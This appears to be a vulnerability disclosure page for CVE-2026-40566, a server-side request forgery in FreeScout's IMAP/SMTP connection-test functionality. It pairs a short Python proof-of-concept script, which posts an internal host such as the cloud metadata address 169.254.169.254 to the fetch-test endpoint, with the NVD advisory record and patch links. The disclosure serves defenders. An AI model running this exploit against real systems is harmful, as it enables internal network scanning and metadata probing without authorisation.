CVE-2026-40566

import requests # Target URL configuration target_url = "http://localhost" login_url = f"{target_url}/login" test_url = f"{target_url}/mailboxes/connection/incoming/fetch-test" session = requests.Session() # 1. Authenticate as Admin (Credentials required) # login_data = {"_token": "", "email": "[email protected]", "password": "password"} # session.post(login_url, data=login_data) # 2. Prepare SSRF payload # Target internal metadata service or internal port internal_target = "169.254.169.254" internal_port = 80 headers = { "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" } # 3. Construct request data # Note: A valid CSRF token is required in the _token field data = { "_token": "VALID_CSRF_TOKEN_HERE", "in_server": internal_target, "in_port": internal_port, "in_encryption": "none" } # 4. Send exploit request response = session.post(test_url, headers=headers, data=data) print(f"Status Code: {response.status_code}") print("Response Data:") print(response.json()) # 5. Analyze the 'log' field in response for service banners or connection errors

{"cve": {"id": "CVE-2026-40566", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:55.000", "lastModified": "2026-04-22T21:10:14.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Versions prior to 1.8.213 have a Server-Side Request Forgery (SSRF) vulnerability in the IMAP/SMTP connection test functionality of FreeScout's `MailboxesController`. Three AJAX actions `fetch_test` (line 731), `send_test` (line 682), and `imap_folders` (line 773) in `app/Http/Controllers/MailboxesController.php` pass admin-configured `in_server`/`in_port` and `out_server`/`out_port` values directly to `fsockopen()` via `Helper::checkPort()` and to IMAP/SMTP client connections with zero SSRF protection. There is no IP validation, no hostname restriction, no blocklist of internal ranges, and no call to the project's own `sanitizeRemoteUrl()` or `checkUrlIpAndHost()` functions. The validation block in `connectionIncomingSave()` is entirely commented out. An authenticated admin can configure a mailbox's IMAP or SMTP server to point at any internal host and port, then trigger a connection test. The server opens raw TCP connections (via `fsockopen()`) and protocol-level connections (via IMAP client or SMTP transport) to the attacker-specified target. The response differentiates open from closed ports, enabling internal network port scanning. When the IMAP client connects to a non-IMAP service, the target's service banner or error response is captured in the IMAP debug log and returned in the AJAX response's `log` field, making this a semi-blind SSRF that enables service fingerprinting. In cloud environments, the metadata endpoint at `169[.]254[.]169[.]254` can be probed and partial response data may be leaked through protocol error messages. This is distinct from the `sanitizeRemoteUrl()` redirect bypass (freescout-3) -- different code path, different root cause, different protocol layer. Version 1.8.213 patches the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/efe82e31b4a0d4c0b20025d09df0615e8139ff08", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.213", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-fg98-rgx6-8x4g", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-fg98-rgx6-8x4g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}